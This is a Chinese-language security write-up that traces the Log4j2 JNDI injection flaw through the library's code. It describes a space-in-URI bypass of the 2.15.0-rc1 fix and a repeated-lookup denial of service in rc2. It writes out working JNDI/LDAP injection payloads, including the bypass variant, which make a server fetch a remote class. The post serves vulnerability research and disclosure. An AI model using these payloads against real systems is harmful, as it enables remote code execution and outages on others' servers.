[备份]Log4j2从RC1绕过到RC2拒绝服务

0x00 介绍

Log4j2Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

 

POC比较简单

 

截图如下

 

0x01 RCE分析

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

看看从logger.errorJndiLookup.lookup中间经历了些什么

 

logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

 

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

 

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

 

进入LoggerConfig.log方法

 

进入LoggerConfig另一处重载log方法

 

可以看到调用appender.controlcallAppender方法

 

层层跟入到AppenderControl.tryCallAppender方法

 

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

 

关注其中的encode方法跟入到PatternLayout.encode方法

 

不用关心多余的代码,这里触发点在toText方法

 

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

 

跟入看到调用了Converter相关的方法

 

不难看出每个formatterconverter为了构造日志的每一部分,这里在构造真正的日志信息字符串部分

 

跟入MessagePatternConverter.format方法,看到核心的部分

 

进入StrSubstitutor.replace方法

 

跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

 

其实这里是出发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

 

经过调试确认了关键方法resolveVariable

 

跟入这里的lookup可以看到很多师傅们截图的方法

 

这里的strLookupMap中包含了多种Lookup对象

 

类似地,可以看这样利用

 

跟入JndiLookup.lookup

 

最后触发点JndiManager.lookup

 

0x03 RC1修复绕过

修复版本2.15.0-rc1

跟了下流程发现到PatternLayout.toSerializable方法发生了变化

不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理

 

上文提到这里某个formatter包含了MessagePatternConverter

在修复后变成了MessagePatternConverter.SimplePatternConverter

 

可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况

 

注意到另一个子类LookupMessagePatternConverter

如果Converter被设置为该类,那么会继续进行${}的处理

 

具体需要设置为哪一个子类取决于用户的配置

 

于是想办法开启lookup功能分析后续有没有限制

 

成功开启lookups功能,调用LookupMessagePatternConverter.fomat方法

 

递归处理等过程均没有变化,最后JndiManager.lookup触发漏洞的地方进行了修改

 

看看实际运行中,这几个白名单是怎样的

 

默认的协议是:javaldapldaps

默认数据类型是八大基本数据类型

默认的Host白名单是localhost

 

实际上拦住Payload是在最后一处OBJECT_FACTORY判断

 

由于RCE一定需要加载远程对象,那么避免不了javaFactory属性(或者有一些其他思路,笔者刚做Java安全不了解)

 

看起来无懈可击,然而这里有一处细节问题

 

如果发生了URISyntaxException异常会直接this.context.lookup

能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常

经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}

 

成功RCE(需要用户开启lookup功能的基础上才可以)

 

0x04 RC2拒绝服务

RC2的修复方案是直接return,有效解决了上文的绕过

 

不过这种修改方式是存在拒绝服务漏洞的,笔者向Apache发送邮件反馈,得到了认可

 

当开启lookup功能的时候

 

回到lookup方法中的修复代码加入计时代码

发现Attributes attributes = this.context.getAttributes(name);会耗时两秒

 

上文没有对Host白名单部分做分析,在这里需要看一下

 

看到addAll方法简单地将第3个参数list合并到第2个中

 

getLocalIps的方法只看前几行就够了,加入了localhost

 

回到测试用例中开启lookup方法,将payload设置为6个,运行后发现耗时12秒

 

最后来回顾一个问题,为什么${}${}${}...会被解析成多个?

因为开启lookup功能会进入StrSubstitutor.subtute方法递归查找字符串中的${}然后逐个解析

 

如果设置很多的${}会导致更长时间的拒绝服务

不过这种漏洞很鸡肋,而且得开启lookup功能,想不到什么利用场景,就图一乐了